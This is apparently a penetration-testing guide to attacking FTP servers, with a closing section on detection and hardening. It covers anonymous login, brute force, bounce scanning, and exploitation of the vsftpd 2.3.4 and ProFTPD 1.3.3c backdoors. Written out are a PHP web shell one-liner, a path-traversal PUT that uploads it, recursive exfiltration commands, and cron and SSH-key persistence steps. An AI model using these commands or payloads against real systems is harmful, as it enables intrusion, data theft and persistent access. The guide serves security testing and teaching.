
FTP Service Attacks and Exploitation
Attacking FTP services on a penetration test, covering anonymous login, brute force, FTP bounce scanning and known backdoored and vulnerable server versions.
Introduction
File Transfer Protocol (FTP) moves files between a client and server over TCP. It dates back to 1971 and is still running on corporate file drops, shared web hosting and a lot of embedded gear.
The protocol has no security of its own, which is why it keeps showing up in findings:
- Usernames and passwords cross the wire in cleartext.
- File contents are cleartext too, so anyone sniffing the segment sees them.
- Anonymous login is often left on, sometimes with write access.
- Directory permissions are frequently looser than the owner thinks.
- The
PORTcommand lets the server be used as a proxy (the FTP bounce attack).
Why FTP still turns up
SFTP, FTPS and SCP have been around for decades, but plain FTP survives on old applications that only speak FTP, on devices and IoT kit that ship with it enabled, and on servers someone set up for public file distribution because it needed no certificates. Custom integrations built around FTP keep it alive too.
On internal tests, anonymous access and weak credentials on FTP are routine findings.
Technical background
How the protocol works
FTP uses two separate TCP connections.
The control connection runs on TCP/21 by default. It carries authentication, commands and responses as ASCII text and stays open for the whole session.
The data connection carries file transfers and directory listings. It uses TCP/20 in active mode or an ephemeral high port in passive mode, and it is opened for each operation and closed afterwards.
Active and passive mode
In active mode (PORT):
- The client opens a random high port and sends a
PORTcommand with its IP and port. - The server connects from port 20 to that client port.
- Because the server connects inbound to the client, client-side firewalls often block it.
In passive mode (PASV):
- The client sends
PASV. - The server opens a random high port and returns its IP and port.
- The client connects to that port.
- All connections are outbound from the client, so this works through client-side firewalls.
FTP commands
Commands that matter for testing:
| Command | Purpose | Security Implications |
|---|---|---|
USER | Username authentication | Transmitted in clear text |
PASS | Password authentication | Transmitted in clear text |
LIST | Directory listing | Reveals file structure |
RETR | Download file | Exfiltration vector |
STOR | Upload file | Web shell upload potential |
DELE | Delete file | Denial of service / cleanup |
MKD | Create directory | May bypass restrictions |
RMD | Remove directory | Destructive capability |
PORT | Active mode data connection | FTP bounce attack vector |
PASV | Passive mode data connection | Firewall evasion |
SYST | System information | Version disclosure |
STAT | Server status | Information disclosure |
HELP | Available commands | Feature enumeration |
Enumeration
Nmap service detection
Nmap finds FTP services and the default scripts check for anonymous access:
# Basic FTP detection
nmap -p 21 -sV -sC 10.10.11.45
# Comprehensive FTP script scan
nmap -p 21 -sV --script=ftp-* 10.10.11.45
# Target multiple FTP ports
nmap -p 21,2121,990,8021 -sV -sC 10.10.11.0/24FTP-related NSE scripts:
ftp-anonchecks for anonymous login.ftp-bouncetests whether the server allows FTP bounce.ftp-libopiechecks for the libopie buffer overflow.ftp-proftpd-backdoordetects the backdoored ProFTPD 1.3.3c source release.ftp-vsftpd-backdoordetects the vsftpd 2.3.4 backdoor.ftp-vuln-cve2010-4221checks for the ProFTPD stack-based buffer overflow in CVE-2010-4221.
Example output
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 1170 924 31 Mar 28 2001 .banner
| d--x--x--x 2 root root 1024 Jan 14 2002 bin
| d--x--x--x 2 root root 1024 Aug 10 1999 etc
| drwxr-srwt 2 1170 924 2048 Jul 19 18:48 incoming [NSE: writeable]
|_Only 5 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
Service Info: OS: UnixManual enumeration
Connect directly to read the banner and try commands by hand:
# Using FTP client
ftp 10.10.11.45
# Using Netcat (raw commands)
nc 10.10.11.45 21
# Using Telnet
telnet 10.10.11.45 21Banner grabbing:
# Extract version information
echo "QUIT" | nc 10.10.11.45 21
# Example banner
220 (vsFTPd 3.0.3)
220 ProFTPD 1.3.5 Server
220 Microsoft FTP ServiceExploitation techniques
Anonymous authentication
Anonymous FTP lets anyone log in without an account. Depending on configuration they can browse, download and sometimes upload.
Test anonymous login
Try the usual anonymous credentials:
# Using FTP client
ftp 10.10.11.45
# Username: anonymous
# Password: anonymous (or blank)
# Anonymous login without the prompts (tnftp: -a logs in as anonymous, -A forces active mode)
ftp -a 10.10.11.45
# Using wget for recursive download
wget -r ftp://anonymous:anonymous@10.10.11.45/
# Using curl
curl -u anonymous:anonymous ftp://10.10.11.45/ --list-onlyCredential pairs to try:
anonymouswith passwordanonymousanonymouswith passwordguestanonymouswith a blank passwordftpwith passwordftp
Enumerate accessible directories
Once connected, walk the file system:
ftp> ls -la
ftp> cd pub
ftp> pwd
ftp> dir -R
# Check for writable directories
ftp> cd incoming
ftp> mkdir test
ftp> rmdir testDirectories worth checking first:
/home/, user home directories/var/www/, a web server document root/backup/, database and configuration backups/config/, application configuration/incoming/, often world-writable/pub/, public file shares
Download sensitive files
Pull anything that looks useful:
# Single file download
ftp> get passwords.txt
ftp> get backup.zip
ftp> get id_rsa
# Binary mode for non-text files
ftp> binary
ftp> get database_backup.sql.gz
# ASCII mode for text files
ftp> ascii
ftp> get .bash_history
# Multiple file download
ftp> mget *.txt
ftp> mget *.confRecursive download with wget:
wget -r --no-passive ftp://anonymous:anonymous@10.10.11.45/Test upload capability
If you have write access, check whether uploads work:
# Create test file
echo "<?php system(\$_GET['cmd']); ?>" > shell.php
# Upload to FTP
ftp> put shell.php
ftp> put backdoor.aspx
ftp> put test.html
# Verify upload
ftp> ls -la
# Multiple file upload
ftp> mput *.phpThe payoff is when the FTP root overlaps a web root:
- Find an FTP directory that the web server also serves.
- Upload a web shell in a language the server runs (PHP, ASP, ASPX, JSP).
- Call it over HTTP:
http://10.10.11.45/shell.php?cmd=whoami
Brute force
If anonymous access is off, try credentials.
Hydra
# Single username attack
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://10.10.11.45
# User list and password list
hydra -L users.txt -P passwords.txt ftp://10.10.11.45
# With specific port
hydra -l fiona -P /usr/share/wordlists/rockyou.txt ftp://10.10.11.45:2121
# Verbose output
hydra -l admin -P passwords.txt -V ftp://10.10.11.45
# Faster threads (be careful - may trigger IDS)
hydra -l admin -P passwords.txt -t 16 ftp://10.10.11.45Medusa
# Basic brute force
medusa -u admin -P /usr/share/wordlists/rockyou.txt -h 10.10.11.45 -M ftp
# Multiple users
medusa -U users.txt -P passwords.txt -h 10.10.11.45 -M ftp
# Stop after first valid credentials
medusa -u admin -P passwords.txt -h 10.10.11.45 -M ftp -f
# Verbose mode
medusa -u admin -P passwords.txt -h 10.10.11.45 -M ftp -v 6Metasploit
msfconsole
msf6 > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/ftp/ftp_login) > set USER_FILE users.txt
msf6 auxiliary(scanner/ftp/ftp_login) > set PASS_FILE passwords.txt
msf6 auxiliary(scanner/ftp/ftp_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/ftp/ftp_login) > runPassword spraying vs brute force
Many FTP servers, especially ones backed by Active Directory, lock accounts after a few failures. Password spraying (one password against many accounts) is less likely to trip lockout than brute force (many passwords against one account).
A safer order of work:
- Build a list of valid usernames first.
- Try a short list of likely passwords.
- Space the attempts out to stay under the lockout threshold.
- Spread the source over several IPs only if the rules of engagement allow it.
FTP bounce attack
The FTP bounce attack abuses the PORT command so the FTP server connects to a host and port of your choosing. That turns it into a port-scanning proxy into networks you cannot reach directly.
How it works
- Connect to an FTP server that allows bounce (for example one in a DMZ).
- Send a
PORTcommand naming an internal IP and port. - The server tries to open a data connection to that target.
- Whether the connection succeeds tells you if the port is open.
Nmap
# Basic FTP bounce scan
nmap -Pn -v -n -p 80,443,445,3389 -b anonymous:password@10.10.11.45 172.17.0.2
# Scan entire subnet through FTP
nmap -Pn -p 22,80,443 -b ftp:ftp@10.10.11.45 192.168.1.0/24
# Comprehensive port scan
nmap -Pn -sV -p- -b anonymous:@10.10.11.45 10.10.10.5Limits of the technique:
- Current FTP servers reject
PORTto third-party addresses by default. - You need anonymous access or valid credentials.
- It is much slower than scanning directly.
- Every
PORTcommand lands in the server log.
Manual FTP bounce
ftp 10.10.11.45
ftp> PORT 172,17,0,2,0,80
200 PORT command successful
ftp> LISTIf the LIST data connection opens, the port is open on the target. If it fails, the port is closed or filtered.
Known vulnerable versions
vsftpd 2.3.4 backdoor (CVE-2011-2523)
The vsftpd 2.3.4 source tarball was briefly replaced with a backdoored copy. A username ending in :) opens a root shell on port 6200.
# Using Metasploit
msfconsole
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.11.45
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
# Manual exploitation
nc 10.10.11.45 21
USER backdoored:)
PASS anything
# Backdoor shell opens on port 6200
nc 10.10.11.45 6200ProFTPD 1.3.3c backdoor (CVE-2010-20103)
The ProFTPD 1.3.3c source on the project's mirror was also swapped for a backdoored version in late 2010. Metasploit lists it as CVE-2010-20103 (OSVDB-69562). This is a different bug from CVE-2010-4221, which is a stack overflow in ProFTPD's Telnet IAC handling.
msf6 > use exploit/unix/ftp/proftpd_133c_backdoor
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOSTS 10.10.11.45
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > exploitCoreFTP path traversal (CVE-2022-22836)
CoreFTP Server before build 727 lets an authenticated user write files outside their directory through an HTTPS PUT with ../ sequences.
# Create malicious payload
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Exploit path traversal
curl -k -X PUT -H "Host: 10.10.11.45" \
--basic -u admin:password123 \
--data-binary @shell.php \
--path-as-is \
https://10.10.11.45/../../../../../../inetpub/wwwroot/shell.php
# Verify upload
curl http://10.10.11.45/shell.php?cmd=whoamiPost-exploitation
Transfer modes
Pick the transfer mode before you move a payload, or it may arrive broken.
Binary mode
Use binary for executables (.exe, .dll, .so), archives (.zip, .gz, .tar), images and database files.
ftp> binary
200 Switching to Binary mode.
ftp> put payload.exe
ftp> get backup.tar.gzASCII mode
ASCII mode converts line endings. Use it for text files, scripts, source code and configuration files.
ftp> ascii
200 Switching to ASCII mode.
ftp> put shell.php
ftp> get passwords.txtFile corruption
Uploading a binary in ASCII mode corrupts it because of the line-ending conversion. Set binary before uploading executables or payloads.
From file write to code execution
Write access through FTP turns into code execution when the FTP root overlaps something that runs code. Three common cases:
Web shell upload:
- Anonymous FTP can write to the web directory.
- Upload a PHP or ASP web shell.
- Request it over HTTP to get command execution as the web server user.
Cron job:
- The FTP account can write to
/etc/cron.d/or/var/spool/cron/. - Upload a cron entry that runs your payload.
- Wait for it to run, as root if the FTP daemon wrote it with root ownership.
SSH key:
- The FTP account can write to
/home/user/.ssh/. - Upload your public key as
authorized_keys. - Log in over SSH as that user.
Data exfiltration
# Download entire directory structure
wget -r --no-passive ftp://admin:password@10.10.11.45/
# Mirror FTP server
lftp -e "mirror ; quit" ftp://admin:password@10.10.11.45/
# Selective download
lftp -c "open ftp://admin:password@10.10.11.45; mget *.sql; quit"Detection and defense
Monitoring
What attacks look like in the logs:
- Many failed logins from one source (brute force) or one failure each across many accounts (spraying).
- An anonymous login followed by uploads.
PORTcommands that name internal IP addresses (bounce attempts).- Large or unusual downloads of sensitive files.
- Logins at odd hours or from unexpected source addresses.
Log analysis:
# vsftpd logs
tail -f /var/log/vsftpd.log
# ProFTPD logs
tail -f /var/log/proftpd/proftpd.log
# Check for failed logins
grep "FAIL LOGIN" /var/log/vsftpd.log
# Detect brute force
grep "authentication failed" /var/log/proftpd/proftpd.log | cut -d' ' -f8 | sort | uniq -c | sort -nHardening
Disable anonymous access
# vsftpd configuration (/etc/vsftpd.conf)
anonymous_enable=NO
# ProFTPD configuration (/etc/proftpd/proftpd.conf)
<Anonymous ~ftp>
User ftp
Group ftp
UserAlias anonymous ftp
# Comment out entire block or disable
</Anonymous>Tighten authentication
- Require long passwords (15 characters or more).
- Put lockout or rate limiting in front of the login.
- Remove or disable accounts nobody uses, and review the list regularly.
- If users need stronger authentication, move them to SFTP with keys. Plain FTP has no way to protect the password in transit.
Restrict network access
# iptables firewall rules
iptables -A INPUT -p tcp --dport 21 -s 10.10.10.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 21 -j DROP
# vsftpd TCP wrappers
# /etc/hosts.allow
vsftpd: 10.10.10.0/24
# /etc/hosts.deny
vsftpd: ALLChroot users
Lock each user into their home directory:
# vsftpd
chroot_local_user=YES
chroot_list_enable=NO
# ProFTPD
DefaultRoot ~Turn on logging
# vsftpd extensive logging
log_ftp_protocol=YES
xferlog_enable=YES
xferlog_file=/var/log/vsftpd.log
# ProFTPD detailed logging
SystemLog /var/log/proftpd/proftpd.log
TransferLog /var/log/proftpd/xferlogDisable commands you do not need
# vsftpd - disable ABOR, DELE, RNFR, RNTO, STOR, STOU
cmds_allowed=FEAT,REST,CWD,LIST,MDTM,MKD,NLST,PASS,PASV,PORT,PWD,QUIT,RETR,SIZE,TYPE,USER
# ProFTPD
<Limit SITE_CHMOD>
DenyAll
</Limit>
<Limit DELE RMD>
DenyAll
</Limit>Replace FTP
SFTP runs over SSH on port 22, so authentication and data are both encrypted.
FTPS is FTP wrapped in TLS. It comes in explicit mode (AUTH TLS on port 21, sometimes called FTPES) and implicit mode (TLS from the first byte, usually port 990), and it supports client certificates.
SCP also runs over SSH. It copies files without an interactive session.
References
MITRE ATT&CK techniques
- T1071.002 - Application Layer Protocol: File Transfer Protocols - Using FTP for command and control
- T1048 - Exfiltration Over Alternative Protocol - Data exfiltration via FTP
- T1110 - Brute Force - FTP credential brute-forcing attacks
- T1078 - Valid Accounts - Using compromised FTP credentials
- T1570 - Lateral Tool Transfer - Transferring tools via FTP
RFCs and standards
- RFC 959 - File Transfer Protocol (FTP) - FTP protocol specification
- RFC 4217 - Securing FTP with TLS - TLS implementation for FTP
Security resources
- CWE-306 - Missing Authentication for Critical Function - Anonymous FTP access vulnerability
- OWASP: Testing for Weak Password Policy - Password testing
- NIST SP 800-52 Rev. 2 - TLS Guidelines - Secure FTP configuration
Vulnerabilities
- CVE-2011-2523 - vsftpd 2.3.4 Backdoor - Malicious backdoor in vsftpd
- CVE-2022-22836 - CoreFTP Path Traversal - Directory traversal vulnerability
DNS attacks: zone transfers, cache poisoning, takeovers and tunneling
DNS attack notes covering zone transfers, cache poisoning, subdomain takeovers, tunneling and amplification, with detection for each.
RDP Service Attacks and Exploitation
RDP attack techniques covering password attacks, session hijacking, pass-the-hash, BlueKeep and RD Gateway exploitation.